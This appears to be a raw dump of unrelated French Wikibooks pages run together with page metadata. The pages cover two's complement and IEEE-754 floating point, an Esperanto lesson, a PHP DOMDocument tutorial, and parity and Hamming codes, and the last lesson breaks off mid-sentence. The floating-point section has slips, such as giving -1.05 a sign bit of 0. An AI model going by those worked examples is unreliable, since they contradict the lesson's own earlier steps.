'''1'''011 1101<br/> * '''Exemple 2 :''' <br/> On veut représenter 53 en complément à 2 sur 8 bits.<br/> 53 est positif le premier bit est à 0.<br/> 53-32=21 <br/> 21-16=5<br/> 5-4=1<br/> 1-1=0<br/> 53 s'écrit donc en complément à 2 sur 8 bits '''0'''011 0101 <br/> * '''Conversion complément à 2 vers base 10'''<br/> X est un entier donc la représentation en complément à 2 est x<sub>N-1</sub> , x<sub>N-2</sub>,...,x<sub>1</sub>, x<sub>0</sub>. La valeur décimale de X est :<br/> <math>X=-2^{N-1}.x_{N-1}+\sum_{n=0}^{N-2} x_i.2^i</math><br/> *'''Exemple 3 :'''<br/> Voici un entier X représenté en complément à 2 donner sa valeur décimale 1011 0110<br/> <math>X=-2^7+2^5+2^4+2^2+2^1=-128+32+16+4+2=-74</math><br/> *'''Exemple 4 :'''<br/> Voici un entier X représenté en complément à 2 donner sa valeur décimale 0000 1110<br/> <math>X=2^3+2^2+2^1=8+4+2=14</math><br/> *'''Quelques valeurs à connaître'''<br/> ** En complément à N sur bits on représente tous les entiers de -2<sup>N-1</sup> à 2<sup>N-1</sup>-1. ** En complément à 2 sur 8 bits on représente tous les entiers de -128 à +127. ** En complément à 2 sur 16 bits on représente tous les entiers de -32768 à +32767. ** En complément à 2 sur 32 bits on représente tous les entiers de -2<sup>31</sup>=-2 147 483 648 à 2<sup>31-1</sup>=2 147 483 647 (environ plus ou moins 2 milliards). * '''Utilisation du complément à 2 :''' <br/>Lorsqu'on utilise le type '''int''' dans un programme en C++, la donnée est le plus souvent représentée en complément à 2. ===Représentation des réels dans le format IEEE 754 === * Nous allons étudier ici la représentation des réels dans le format IEEE-754. Il existe en fait 2 standards : le format IEEE 754 simple précision sur 32 bits et le format IEEE-754 double précision sur 64 bits. Le plus utilisé est le format IEEE 754 double précision mais nous allons étudier le format IEEE 754 simple précision car il est plus pratique à présenter. * '''Le format IEEE-754 simple précision''' **Ecriture de 0 : si X est nul, sa représentation sur constituée de 32 bits à 0. **'''Ecriture sous forme scientifique'''<br/> Si X n'est pas nul, nous allons rechercher s, e et m tel que :<br/> <math> X=(-1)^s.2^e. (1+m)</math> <br/> avec<br/> - s peut valoir 0 ou 1.<br/> - e doit être un entier signé.<br/> - m est compris dans l'intervalle [0;1[.<br/> **'''Recherche de s'''<br/> La valeur de s est simple à trouver : s vaut 0 si X est positif ou nul et vaut 1 si X est négatif. **'''Recherche de e'''<br/> Trois cas sont à envisager :<br/> - si |X|>=2, on va diviser la valeur absolue de X autant de fois que nécessaire jusqu'à obtenir un entier de l'intervalle [1;2[. e sera le nombre de division effectuée. <br/> - si |X|<1, on va multiplier la valeur absolue de X par 2 autant de fois que nécessaire jusqu'à obtenir un entier de l'intervalle [1;2[. e sera l'opposé du nombre de divisions.<br/> - si 2>|X|>=1, alors e sera nul.<br/> **'''Recherche de m'''<br/> Si on connait X, s et e alors il est facile de trouver m ! **'''Exemple 1 : X=-9.6'''<br/> X est négatif donc '''s=1'''.<br/> On va diviser 9.6 par 2. 9.6/2=4.8<br/> 4.8/2=2.4<br/> 2.4/2=1.2 on s'arrête car cette valeur appartient à l'intervalle [1;2[<br/> On a diviser 3 fois par 2 donc '''e=3'''.<br/> On obtient facilement '''m=1.2-1=0.2'''<br/> **''' Exemple 2 : X=0.375'''<br/> X est positif donc '''s=0'''.<br/> On va multiplier 0.375 par 2 : <br/> 0.375 * 2= 0.75<br/> 0.75*2=1.5 on s'arrête car cette valeur appartient à l'intervalle [1;2[<br/> On a multiplié 2 fois par 2 donc '''e=-2'''.<br/> On trouve '''m=1.5-1=0.5'''. **'''Exemple 3 : X=-1.05''' X est négatif donc '''s=1'''.<br/> 1.05 est dans l'intervalle [1;2[ donc '''e=0'''.<br/> On obtient '''m=0.05'''.<br/> **'''Obtention de la représentation'''<br/> La représentation finale s'obtiendra en justaposant :<br/> - le bit s sur 1 bit.<br/> - l'exposant e sur 8 bits<br/> - la mantisse m sur 23 bits<br/> ** '''Représentation de l'exposant'''<br/> Pour représenter e, on va calculer E=e+127 et on écrit E en base 2 sur 8 bits. **'''Représentation de la mantisse'''<br/> '''Règle : '''<br/> <pre> 1) On multiplie m par 2 2) On calcule la partie entière et la partie décimale du résultat. 3) La partie entière du résultat est un nouveau bit de la représentation. 4) On recommence le 1) avec la partie décimale du résultat. 5) On recommence jusqu'à obtenir les 23 bits de la mantisse. </pre> **'''Exemple de représentation 1 : X=-9.6'''<br/> On avait obtenu s=1, e=3 et m=0.2.<br/> E=127+e=130.<br/> On doit écrire 130 en base 2 sur 8 bits.<br/> 130-128=2<br/> 2-2=0<br/> 130=128+2<br/> 130 s'écrit donc en base 2 sur 8 bits 1000 0010<br/> m=0.2.<br/> 0.2*2=0.4='''0'''+0.4 ==> attention cette ligne va se répéter plus bas. <br/> 0.4*2=0.8='''0'''+0.8<br/> 0.8*2=1.6='''1'''+0.6<br/> 0.6*2=1.2='''1'''+0.2<br/> 0.2*2=0.4='''0'''+0.4 ==> identique à la première ligne !<br/> La représentation de la mantisse sera donc 0011 0011 0011 0011 0011 001<br/> La représentation de -9.6 dans le format IEEE-754 est donc : <br/> '''1''' 1000 0010 '''0011 0011 0011 0011 0011 001'''<br/> soit en hexadécimal '''C119 9999''' **'''Exemple de représentation 2 : X=0.375'''<br/> On avait trouvé s=0, e=-2 et m=0.5<br/> E=127+e=125<br/> On écrit 125 en base 2 sur 5 bits.<br/> 125-64=61<br/> 61-32=29<br/> 29-16=13<br/> 13-8=5<br/> 5-4=1<br/> 4-4=0<br/> 125=64+32+16+8+4+1<br/> 125 s'écrit donc en base 2 sur 8 bits 0111 1101<br/> m=0.5<br/> 0.5*2=1=1+0<br/> 0*2=0=0+0==> cette ligne se répète indéfiniment.<br/> La représentation de la mantisse est donc 1000 0000 0000 0000 0000 000<br/> La représentation de 0.375 dans le format IEE-754 simple précision est donc 0 0111 1101 1000 0000 0000 0000 0000 000<br/> soit en hexadécimal 3EC0 0000 **'''Exemple de représentation 3 : X=-1.05'''<br/> On avait trouvé s=0, e=0 et m=0.05<BR/> E=e+127=127<br/> On représente 127 en base 2 sur 8 bits.<br/> 127-64=63<br/> 63-32=31<br/> 31-16=15<br/> 15-8=7<br/> 7-4=3<br/> 3-2=1<br/> 1-1=0<br/> 127 s'écrit donc en base 2 sur 8 bits 0111 1111<br/> m=0.05<br/> 0.05*2=0.1='''0'''+0.1<br/> 0.1*2=0.2='''0'''+0.2<br/> 0.2*2=0.4='''0'''+0.4 ==> cette ligne va se répéter.<br/> 0.4*2=0.8='''0'''+0.8<br/> 0.8*2=1.6='''1'''+0.6<br/> 0.6*2=1.2='''1'''+0.2<br/> 0.2*2=0.4='''0'''+0.4 ==> identique à la ligne 3<br/> La mantisse s'écrit donc 00 0011 0011 0011 0011 0011 0<br/> Le représentation de -1.05 dans le format IEEE-754 imple précision est donc '''1 0111 1111 00 0011 0011 0011 0011 0011 0'''<br/> soit en hexadécimal '''BF86 6666''' **'''Comment retrouver la valeur d'un réel représenté dans ce format ?'''<br/> Si on vous donne la représentation dans le format IEEE-754 d'un réel, comment faire pour retrouver la valeur décimale de ce réel ?<br/> - dans un premier temps, il faut l'écrire en binaire et retrouver chaque champ : le premier bit permettra de retrouver la valeur de s, les 8 bits suivants la valeur de l'exposant et les 23 derniers bits la valeur de la mantisse.<br/> - à partir du champ exposant, on effectue la transformation base é vers base 10 et on retrouve alors la valeur de E. Il suffit de retrancher 127 et on obtient la valeur de e.<br/> - pour retrouver la valeur de m, il faut considérer que chaque bit à un poids : le premier bit de la mantisse à comme poid 2<sup>-1</sup>, le deuxième à comme poids 2<sup>-2</sup>, et ainsi de suite jusqu'au dernier qui a comme poids 2<sup>-23</sup>. On retrouve la valeur de m en additionnant le poids des bits qui ont la valeur 1 dans la mantisse.<br/> - à partir de la valeur de s, de e et de m on retrouve aisément la valeur de X grâce à la formule : <br/> <math> X=(-1)^s.2^e. (1+m)</math> <br/> ===Représentation des caractères=== * '''le code ASCII'''<br/> Le code ASCII permet de représenter des caractères sur 7 bits : on peut représenter des lettres majuscules et minuscules, des chiffres, des caracères spéciaux , #{( par exemple, et des caractères non imprimables qui servaient autrefois à envoyer des données sur un réseau. *'''le code ISO 8859-1'''<br/> Chaque caractère est représenté sur 8 bits et ce codage est une extension du codage ASCII : il propose en plus des lettres accentuées utilisées dans de nombreux alphabets. * ''' le codage unicode'''<br/> Ce système de codage représente des caractères sur 16 bits : il peut afficher des caractères dans des alphabets non latin, l'alphabet cyrillique par exemple. ==Exercices== ===Exercice 1=== Représenter en base 2 sur 8 bits le entiers 78, 199 et 53. ===Exercice 2 === Voici des entiers représentés en base 2 sur 8 bits. Donnez leurs valeurs décimales respectives :<br/> (1001 1011) <br/> (0011 1100)<br/> (0101 0101)<br/> ===Exercice 3 === Représentez en complément à 2 sur 8 bits les entiers -100, 83 et -29. ===Exercice 4 === Voici des entiers représentés en complément à 2 sur 8 bits. Donnez leurs valeurs décimales respectives :<br/> (1101 1001) <br/> (1011 1010)<br/> (0111 0100)<br/> ===Exercice 5=== Représentez dans le format IEEE-754 simple précision les réels -0.15, 6.6 et -23. Le résultat final sera noté en hexadécimal. ===Exercice 6=== Voici 3 réels représentés dans le format IEEE-754 simple précision (notation hexadécimale); Donnez leurs valeurs décimales respectives.<br/> 4258 0000 <br/> BF30 0000 <br/> 40B0 0000 <br/> Espéranto : Septième Leçon 6859 42574 2006-05-17T07:26:18Z 82.233.108.150 correction accents ==Diminutifs affectueux== En espéranto, il existe deux diminutifs affectueux. '''-ĉj-''', diminutif affectueux masculin, et '''-nj-''', diminutif affectueux féminin. À eux deux, ils peuvent former nimporte quel surnom tendre. Ex: *frangin.....fraĉjo *frangine.....franjo *maman.....panjo *mamie, mémé.....avinjo *minou.....kaĉjo *minette.....kanjo *nounou.....vanjo *papa.....paĉjo *papy, pépé.....avĉjo *tata, tatie, tantine.....onjo *tonton.....onĉjo *toutou.....hunĉjo *toutoune.....hunnjo ==Noms propres== Comme les autres langues, l'espéranto possède ses ressources à lui en matière de noms propres. Ex: *Astérix.....Asteriks *Mickey Mousse.....Miĉjo Muso *Tintin.....Tinĉjo *Les Schtroumpfs.....La Smurfoj ==Famille== Comme n'importe quelle langue, l'espéranto dispose d'un vocabulaire spécifique pour désigner les membres de la famille. *père.....patro *mère.....patrino *fils.....filo *fille.....filino *frère.....frato *sœur.....fratino *cousin.....kuzo *cousine.....kuzino *oncle.....onklo *tante.....onklino *grand-père.....avo *grand-mère.....avino *arrière grand-père.....praavo *arrière grand-mère.....praavino *beau-frère.....bofrato *beau-père.....bopatro *belle-mère.....bopatrino *belle-sœur.....bofratino *petit-fils.....nepo *petite-fille.....nepino *neveu.....nevo *nièce.....nevino [[Catégorie:Espéranto|07]] Image:Expérience de Millikan.jpg 6863 31381 2006-02-03T20:31:35Z Antoinel 182 Expérience de Millikan. Valeur de la charge de l'électron. {{GFDL}} Expérience de Millikan. Valeur de la charge de l'électron. {{GFDL}} Modèle:Wiktionnaire 6865 31405 2006-02-04T11:49:41Z Greudin 1 depuis w: {{Wikilien| image=Wiktionary-logo-fr.png| couleur fond=#f9f9f9| texte=Le '''[[wikt:Page d'accueil|Wiktionnaire]]''' possède une entrée pour « '''[[wikt:{{{1}}}|{{{2|{{{1}}}}}}]]''' ». }}<noinclude> </noinclude> Image:Expérience de rutherford.jpg 6866 31412 2006-02-04T14:44:13Z Antoinel 182 {{GFDL}} {{GFDL}} Programmation PHP/La librairie DOM 6867 36618 2006-03-08T19:42:22Z 212.155.169.217 /* Accéder à un node */ {{Programmation PHP}} == Introduction == Une des recherches majeures du développeur a toujours été de chercher à séparer les langages de programmation, clarifiant ainsi ses scripts et simplifiant sa tâche. Ainsi, il est possible d'enregistrer son css dans des fichiers externes comportant l'extension .css, de séparer le javascript du html en l'enregistrant dans des fichiers .js. Il reste cependant le problème de la séparation du PHP et du xhtml. La librairie DOMDocument va repousser ces limites. == Qu'est-ce que DOMDocument ? == DOMDocument est une librairie de fonctions apparue avec PHP5 Elle permet de concevoir des pages [[Programmation_HTML| html]] sous forme d'[[Programmation_PHP/La_programmation_orientée_objet| objets]] Il est conseillé d'avoir pris connaissance du dossier sur la [[Programmation_PHP/La_programmation_orientée_objet|programmation orientée objet]] == Les avantages et les inconvénients == - Concevoir des pages html par cette méthode permet d'anihiler un problème majeur de la programmation procédurale: l'édition du code n'est plus en fonction de sa position dans le script. Pour être plus clair, chaque balise jusqu'à la DTD peut être modifiée à tout moment dans l'objet html. - Il est possible d'enregistrer la page html dans un fichier sans l'afficher. mais... - Le code est plus long à éditer. == Principe du DOM == Cette librairie présente de nombreuses similitudes avec le javascript aussi bien dans le fonctionnement que dans le nom de ses fonctions. La DOM, Document Object Model est basée sur un système de nodes. Un node est un élément qui est - soit une balise (nodes Tag) - soit du texte - soit un attribut de balise Les nodes sont liées par un système hiérarchique: <pre> <p>Ce texte est <strong>important</strong></p> </pre> On dit alors que le node Tag &lt;strong> est fils du node &lt;p> Le node texte "Ce texte est" est également fils de &lt;p> qui est parent du node texte. Il existe un certain nombre de classes prédéfinies: DOMDocument, DOMNode, DOMElement, DOMText, DOMAttr, DOMList... Certaines sont très simple, d'autres possèdent des fonctionnalités très avancées. == Importer une page préexistante == Il est possible d'importer une page html. Cela simplifiera considérablement la tâche du programmeur qui n'aura qu'à apporter les modifications nécessaires avant de l'afficher ou de réenregistrer la page. Voici le code important la page. <pre> <?php $doc = DOMDocument::loadHTMLFile("filename.html"); ?> </pre> La variable $doc contient donc un objet DOMDocument avec toutes les balises sous formes de nodes. Il est maintenant possible d'accéder aux nodes par le biais de fonctions préexistantes. NB: Il est également possible d'avoir recours au code suivant: <pre> <?php $doc = new DOMDocument(); $doc->loadHTMLFile("filename.html"); ?> </pre> Il est également possible d'importer le code à partir d'une chaîne de caractères: <pre> <?php $code = "<html><head></head><body></body></html>"; $doc = new DOMDocument(); $doc->loadHTML( $code ); ?> </pre> == Enregistrer une page == Un des grands avantages de cette librairie est la capacité à enregistrer la page générée dans un fichier pour un affichage ultérieur. Il suffit d'avoir recours au code suivant: <pre> $doc->saveHTMLFile("filename.html"); </pre> Si vous voulez l'afficher, il vous suffit d'exécuter la fonction suivante: <pre> <?php echo $doc->saveHTML(); ?> </pre> La méthode retourne une chaîne de caractères que la fonction echo affiche. == La classe DOMNode == Les classes DOMElement, DOMText et DOMAttribute sont dérivées de cette classe. Ainsi, les méthodes et propriétés présentées ici seront disponibles pour leurs classes enfant. Attention: un node une fois créé ne se trouve pas dans le document. Ajouter un node va se dérouler en 2 étapes: - on crée le node - on l'insère dans le node parent ou à la racine du document Voici les propriétés accessibles à tout les nodes <pre> $node->nodeType // Type de node. Vaut 1 pour un element XML, 3 pour un texte $node->childNodes //Retourne un objet NodeList qui contient tout les éléments enfants de ce node $node->firstChild //Retourne le premier node enfant $node->lastChild // Retourne le dernier node enfant $node->previousSibling // Retourne le node juste avant celui-ci $node->nextSibling // Retourne le node juste après celui-ci </pre> Les méthodes sont les suivantes * '''AppendChild''' Le node $enfant devient enfant de $node <pre> $node->appendChild( $enfant ); </pre> * '''RemoveChild''' Supprime le node $enfant du node $node <pre> $node->removeChild( $enfant ); </pre> == La classe DOMElement == *Les éléments possèdent les propriétés suivantes: <pre> $node->tagName // par exemple "p" pour un paragraphe. Sa valeur ne peut être modifiée </pre> Attention: seules les principales propriétés sont présentées. Si vous voulez en avoir la liste complête, vous pouvez consulter la documentation de référence sur [http://www.nexen.net nexen] *Et les méthodes suivantes: - Méthodes d'attributs <pre> $node->hasAttribute(); //Renvoie true si il possède des attributs $node->getAttribute("name"); //Retourne la valeur de l'attribut $node->removeAttribute("name"); //Supprime l'attribut ''name'' $node->setAttribute("name","value"); //Modifie un attribut $node->getAttributeNode ("name" ); //Retourne un objet DOMAttr </pre> - Autres méthodes <pre> $newNode = $node->cloneNode(); //duplique un élément $nodeList = $node->getElementsByTagName("strong"); </pre> Cette fonction retourne un objet nodeList qui contient une liste des balises &lt;strong> enfants du node. Pour récupérer le n+1ème node de la liste, il suffit d'avoir recours à la méthode de l'objet nodeList suivante: <pre> $strong5 = $nodeList->item(4); //Sélectionne la 5e balise <strong> </pre> L'attribut length donne le nombre d'éléments de la liste. Exemple: <pre> for ($i=0; $i<$nodeList->length; $i++) { echo $nodeList->item( $i )->tagName; } </pre> Comme vous le savez, tagName retourne le nom de la balise. Ici, le code retournera "strongstrongstrong…". En effet, seuls les nodes strong ont "été sélectionné. Comme vous avez pu le remarquer, il est possible d'exécuter plusieurs méthodes et propriétés en même temps. Voici l'ordre d'exécution: - La méthode item( $i ) est exécutée et retourne un nodeTag. - La propriété tagName du node est appelée. Attention: c'est celle de l'objet retourné. - La fonction ''echo'' affiche le nom de la balise retourné par la propriété tagName == La classe DOMText == La classe DOMText contient l'unique propriété suivante: <pre> $node->wholeText </pre> Elle n'est accessible qu'en lecture seule. La classe DOMText admet 2 méthodes: <pre> /* Retourne true si la chaîne de caractère contient des espaces */ $node->isWhitespaceInElementContent(); /* Retourne dans $end un objet Text qui contient la fin du texte de $node. $node ne contiendra plus que les 5 premiers caractères de sa chaîne */ $end = $node->splitText(5) </pre> Exemple: <pre> <?php $doc = new DOMDocument(); $text = $doc->createTextNode("Je suis celui qui est"); $text2 = $text->splitText(7); echo $text->wholeText."<br />"; echo $text2->wholeText ?> </pre> Ce code retournera "je suis&lt;br /> celui qui est" == La classe DOMAttr == La classe DOMAttr est commme son nom l'indique un attribut, qui est donc dépendant de la balise. Elle contient les propriétés suivantes: <pre> $node->name // Nom de l'attribut $node->value // Valeur de l'attribut /* Nom de la balise qui contient l'attribut. La valeur retournée est un objet DOMElement */ $node->ownerElement </pre> Seule la propriété value n'est pas en lecture seule, c'est à dire qu'il est possible d'avoir recours au code suivant: <pre> $node->value = "maValeur"; </pre> == Accéder à un node == Il existe plusieurs modes de recherche du node. Il est par exemple possible de le sélectionner par son id: <pre> $node = $doc->getElementById("sonId"); //Retourne un objet node </pre> Sachant qu'il ne peut y avoir qu'un node possédant l'id recherché, la méthode retournera un objet node au lieu d'un objert nodeList. Il est cependant possible de récupérer une liste de nodes en les sélectionnants par leur nom de balise. Evidemment, seuls les nodes Tag peuvent être sélectionnés. <pre> $nodeList = $doc->getElementsByTagName("acronym"); //Sélectionne toutes les balises <acronym> </pre> Comme nous l'avons déjà dit, il faut, pour récupérer un node particulier de la liste, utiliser la méthode suivante: <pre> $acronym5 = $nodeList->item(4); //Sélectionne le 5e node de la liste; </pre> Architecture des ordinateurs/Codes détecteurs et correcteurs d'erreurs 6868 39824 2006-04-07T22:38:27Z 81.192.177.231 /* Exercice 4 */ {{Architecture des ordinateurs}} == Le cours sur les codes détecteurs et correcteurs d'erreurs== === Les enjeux === Un ordinateur transfère en permanence des données entre ces différents éléments : une donnée stokée en RAM peut être transférée sur un disque dur, archivée sur un DVD ou encore envoyée à l'autre bout de la planète via un réseau. Les débits d'une RAM sont extraordinaires : plusieurs milliards de bits par seconde peuvent être échangés. Pour un ordinateur qui fonctionne 24 heures sur 24, cela représente un nombre de bits journaliers extrêmement important. <br/> Certains ordinateurs comme les serveurs jouent un rôle primordial pour une entreprise. Une simple panne peut avoir des conséquences économiques très importantes pouvant aller jusqu'à la paralysie de l'entreprise. Rappelons juste que si 50 personnes dans une entreprise ne peuvent pas travailler à cause d'une panne informatique, le coût indirect pour l'entreprise est égal à la somme des salaires des employés multiplié par la durée de la panne. A ces coûts, il faut rajouter la perte de crédibilité de l'entreprise qui doit dire à ses clients "euh... désolé, nous ne pouvons prendre votre commande car nous sommes en panne d'informatique". L'informatique se doit être fiable à 100 % et constitue un élément vital de beaucoup de sociétés.<br/> Aucune technologie peut être fiable à 100 % ! Aucun procédé industriel non plus. Vu les quantités astronomiques de bits échangés au sein d'un ordinateur même un taux d'erreurs de 1 bits sur 1000 milliards peut apparaître comme étant insuffisant. Il faut donc admettre que les données que manipule notre ordinateur peuvent avoir été corrompues. <br/> Comment améliorer cette situation pour limiter au maximum les conséquences de ces erreurs ? Une première approche consiste à se dire que si une donnée a été corrompue, il faut être capable de détecter a posteriori ces erreurs. Ainsi, si on s'aperçoit qu'un programme exécutable contenu dans un fichier sur un disque dur a été corrompu, alors le programme ne sera pas exécuté par notre ordinateur : on évitera ainsi le crash du système d'exploitation. Il est donc primordial de pouvoir déterminer si une donnée a été corrompue ou non. Nous allons donc étudier dans ce chapitre des techniques permettant de détecter des erreurs sur des données. Certaines techniques sont surprenantes car elles permettent parfois de corriger les erreurs. Ces techniques ne permettent pas d'obtenir une fiabilité de 100 % mais elles améliorent énormément le taux d'erreurs. Ainsi, on limite considérablement le nombre d'erreurs et on améliore la fiabilité de nos ordinateurs pour la rendre acceptable. === Le bit de parité=== Le bit de parité est un mécanisme détecteur d'erreurs très simple et peu coûteux. On va découper l'information à manipuler par "tranches de bits", par exemple par tranche de 8 bits, et on va rajouter un bit par tranche. On choisira ce bit de manière à ce qu'il y ait un nombre de bits à 1 pair dans chaque tranche. === Exemple sur le bit de parité=== On manipule les données suivantes. Rajouter dans chaque cas le bit de parité.<br/> Donnée initiale ==> Donnée finale<br/> 0011 0001 ==> 0011 0001 '''1'''<br/> 0111 1110 ==> 0111 1110 '''0'''<br/> 0001 0111 ==> 0001 0111 '''0'''<br/> === Détection des erreurs avec le bit de parité=== Lorsqu'on récupère la donnée, on va se poser la question : la donnée a-t-elle été altérée ? On va compter le nombre de bits à 1 dans chaque tranche : s'il est pair, on va considérer que la donnée n'a pas été altérée. Par contre s'il est impair, on considérera que la donnée a été altérée : on aura ainsi détecté une erreur. === Exemple de détection d'erreurs avec le bit de parité=== On a stocké des données en rajouter tous les 8 bits un bit de parité. Indiquez s'il y a eu on non une erreur. S'il n'y a pas eu d'erreur, donnez la donnée initiale sans le bit de parité.<br/> Donnée finale ===> Nombre de 1 ==> Conclusion ==> Si aucune erreur donnée initiale<br/> 0000 1111 1 ===> 5 bits à 1 ===> Erreur<br/> 1100 1111 0 ===> 6 bits à 1 ===> Pas d'erreur ==> 1100 1111<br/> 0111 1111 1 ===> 8 bits à 1 ===> Pas d'erreur ==> 0111 1111<br/> 0110 1101 0 ===> 5 bits à 1 ===> Erreur <br/> ===Bilan sur le bit de parité=== Le bit de parité est un mécanisme de détection d'erreurs peu coûteux (1 seul bit rajouté), qui est très simple mais son efficacité n'est pas extraordinaire. === Exemple d'utilisation=== Dans les années 90, certaines barrettes de mémoire RAM rajoutaient un bit de parité tous les 8 bits (il y avait donc 9 bits stockés), ce qui permettait de diminuer leur taux d'erreurs. === Le code de Hamming=== *Le code de Hamming est un code étonnant : il permet de détecter une erreur mais aussi de la corriger. En cas de détection d'erreurs, ce code va proposer une correction qui est la plus probable sous certaines hypothèses statistiques. * '''Principe de base''' On va découper l'information par tranche de N bits et on va rajouter t bits : t sera le plus petit entier tel que <math>2^t-1 >=N+t</math>. On aura donc au total N+t bits.<br/> Les bits rajoutés ne seront pas mis à la fin mais seront entrelacés avec la donnée initiale. Ainsi les N+t bits de la donnée finale seront notés f<sub>N+t</sub> f<sub>N+t-1</sub> f<sub>N+t-2</sub> ... f<sub>2</sub>f<sub>1</sub>. Les t bits rajoutés, appelés bits de contrôle, seront ceux dont l'indice est une puissance de 2. Il y en a exactement t. <br/> <br/> '''Exemple : la donnée initiale est 0110 1110'''<br/> N vaut donc 8. On cherche la plus petite valeur de t vérifiant <math>2^t-1 >=8+t</math>. On trouve facilement '''t=4'''. Il y a au total 12 bits. Les bits contrôle sont f<sub>1</sub>, f<sub>2</sub>, f<sub>4</sub> et f<sub>8</sub>.<br/> f<sub>12</sub> f<sub>11 </sub> f<sub>10</sub> f<sub>9</sub> '''f<sub>8</sub>''' f<sub>7</sub> f<sub>6</sub> f<sub>5</sub> '''f<sub>4</sub>''' f<sub>3</sub> '''f<sub>2</sub>''' '''f<sub>1</sub>'''<br/><br/> Les bits qui ne sont pas des bits de contrôle s'obtiennent très facilement : il suffit de reporter la donnée initiale. Ainsi sur notre exemple : <br/> f<sub>12</sub>=0<br/> f<sub>11</sub>=1<br/> f<sub>10</sub>=1<br/> f<sub>9</sub>=0<br/> f<sub>7</sub>=1<br/> f<sub>6</sub>=1<br/> f<sub>5</sub>=1<br/> f<sub>3</sub>=0<br/> Il nous reste donc à trouver la valeur des bits de contrôle. Pour les trouver nous allons former des ensembles de bits. Pour trouver les ensemble de bits il faut au préalable écrire les entiers de 1 à N+t en base 2 sur t bits. Sur notre exemple, N vaut 8 donc t vaut 4 : il faut donc écrire les entiers de 1 à 12 en base 2 sur t bits.<br/> <pre> 0001 ===> 1 0010 ===> 2 0011 ===> 3 0100 ===> 4 0101 ===> 5 0110 ===> 6 0111 ===> 7 1000 ===> 8 1001 ===> 9 1010 ===> 10 1011 ===> 11 1100 ===> 12 </pre> Nous allons maintenant construire t ensembles de bits notés E<sub>1</sub>, E<sub>2</sub> ... E<sub>t</sub>. Pour construire E<sub>i</sub>, on regarde la colonne i à partir de la droite. S'il y a un 1 dans colonne i sur la ligne j alors le bit f<sub>j</sub> appartiendra à l'ensemble E<sub>i</sub>.<br/> Dans notre exemple, pour contruire E<sub> 1</sub>, nous allons regarder la colonne la plus à droite on trouve un 1 sur les lignes 1, 3, 5, 7, 9 et 11. On trouve donc :<br/> E<sub>1</sub> = { f<sub>1</sub> , f<sub>3</sub>, f<sub>5</sub>, f<sub>7</sub> , f<sub>9</sub>, f<sub>11</sub> } <br/> De la même manière, on trouve :<br/> E<sub>2</sub> = { f<sub>2</sub> , f<sub>3</sub>, f<sub>6</sub>, f<sub>7</sub> , f<sub>10</sub>, f<sub>11</sub> } <br/> E<sub>3</sub> = { f<sub>4</sub> , f<sub>5</sub>, f<sub>6</sub>, f<sub>7</sub> , f<sub>12</sub> } <br/> E<sub>4</sub> = { f<sub>8</sub> , f<sub>9</sub>, f<sub>10</sub>, f<sub>11</sub> , f<sub>12</sub>} <br/> Nous allons maintenant reporter dans chaque ensemble les valeurs que nous avions trouvées :<br/> f<sub>12</sub>=0<br/> f<sub>11</sub>=1<br/> f<sub>10</sub>=1<br/> f<sub>9</sub>=0<br/> f<sub>7</sub>=1<br/> f<sub>6</sub>=1<br/> f<sub>5</sub>=1<br/> f<sub>3</sub>=0<br/> On obtient : <br/> E<sub>1</sub> = { f<sub>1</sub> , 0, 1, 1, 0, 1} <br/> E<sub>2</sub> = { f<sub>2</sub> ,0 , 1, 1, 1, 1 } <br/> E<sub>3</sub> = { f<sub>4</sub> ,1 , 1, 1 , 0 } <br/> E<sub>4</sub> = { f<sub>8</sub> ,0 , 1, 1, 0} <br/> On s'aperçoit que dans chaque ensemble il y a un et un seul bit inconnu. Nous allons déterminer ce bit de manière à ace que dans chaque ensemble de bits le nombre de bits à 1 soit pair. On trouve donc : <br/> f<sub>1</sub>=1<br/> f<sub>2</sub>=0<br/> f<sub>4</sub>=1<br/> f<sub>8</sub>=0<br/> Nous connaissons maintenant tous les bits de notre donnée finale qui est donc : '''0110 0111 1001''' *''' Vérification et correction du code de Hamming'''<br/> Lorsqu'on récupère une donnée obtenue gâce au codage de Hamming, 2 questions naturelles vont se poser :<br/> 1) la donnée a-t-elle été altére ?<br/> 2)si oui, quelle est la correction proposée par le code de Hamming ? <br/> La méthode pour répondre à ces 2 questions est la suivante : ** construire les t ensembles de bits E<sub>i</sub>. ** calculer t bits selon la règle suivante e<sub>i</sub>=0 si le nombre de bits à 1 dans E<sub>i</sub> est pair sinon e<sub>i</sub>=1. Si aucune erreur ne s'est produite tous les bits e<sub>i</sub> doivent être nuls. ** calculer E=(e<sub>t</sub> ...e<sub>1</sub>)<sub>2</sub>. ** Si E est nul alors on en déduit qu'il n'y a pas eu d'erreur. ** si E n'est pas nul, une erreur s'est produite et le code de Hamming propose la correction suivante : inverser la valeur du bits f<sub>E</sub>. ** on récupère ensuite aisément la valeur de la donnée initiale en supprimant les bits de contrôle. '''Exemple : '''on récupère la donnée '''0111 0111 1001'''<br/> On a donc :<br/> f<sub>12</sub>=0<br/> f<sub>11</sub>=1<br/> f<sub>10</sub>=1<br/> f<sub>9</sub>=1<br/> f<sub>8</sub>=0<br/> f<sub>7</sub>=1<br/> f<sub>6</sub>=1<br/> f<sub>5</sub>=1<br/> f<sub>4</sub>=1<br/> f<sub>3</sub>=0<br/> f<sub>2</sub>=0<br/> f<sub>1</sub>=1<br/> On construit les ensembles de bits :<br/> E<sub>1</sub> = { f<sub>1</sub> , f<sub>3</sub>, f<sub>5</sub>, f<sub>7</sub> , f<sub>9</sub>, f<sub>11</sub> } ={ 1 , 0, 1, 1, 1, 1} ==> le nombre de 1 (5) est impair ==> e<sub>1</sub>=1<br/> E<sub>2</sub> = { f<sub>2</sub> , f<sub>3</sub>, f<sub>6</sub>, f<sub>7</sub> , f<sub>10</sub>, f<sub>11</sub> } = { 0 ,0 , 1, 1, 1, 1 } ==> le nombre de 1 (4) est pair ==> e<sub>2</sub>=0<br/> E<sub>3</sub> = { f<sub>4</sub> , f<sub>5</sub>, f<sub>6</sub>, f<sub>7</sub> , f<sub>12</sub> } = { 1 ,1 , 1, 1 , 0 } ==> le nombre de 1 (4) est pair ==> e<sub>3</sub>=0<br/> E<sub>4</sub> = { f<sub>8</sub> , f<sub>9</sub>, f<sub>10</sub>, f<sub>11</sub> , f<sub>12</sub>} ={ 0 ,1 , 1, 1, 0} ==> le nombre de 1 (5) est impair ==> e<sub>4</sub>=1<br/> <br/> E s'écrit donc en base 2 (e<sub>4</sub>e<sub>3</sub>e<sub>2</sub>e<sub>1</sub>) soit (1001). E vaur donc 9. Il y a donc eu une erreur : la correction propose d'inverser la valeur de bit f<sub>9</sub>. f<sub>9</sub> valait 1 : nous allons donc changer sa valeur en 0.<br/> La donnée corrigée est donc : 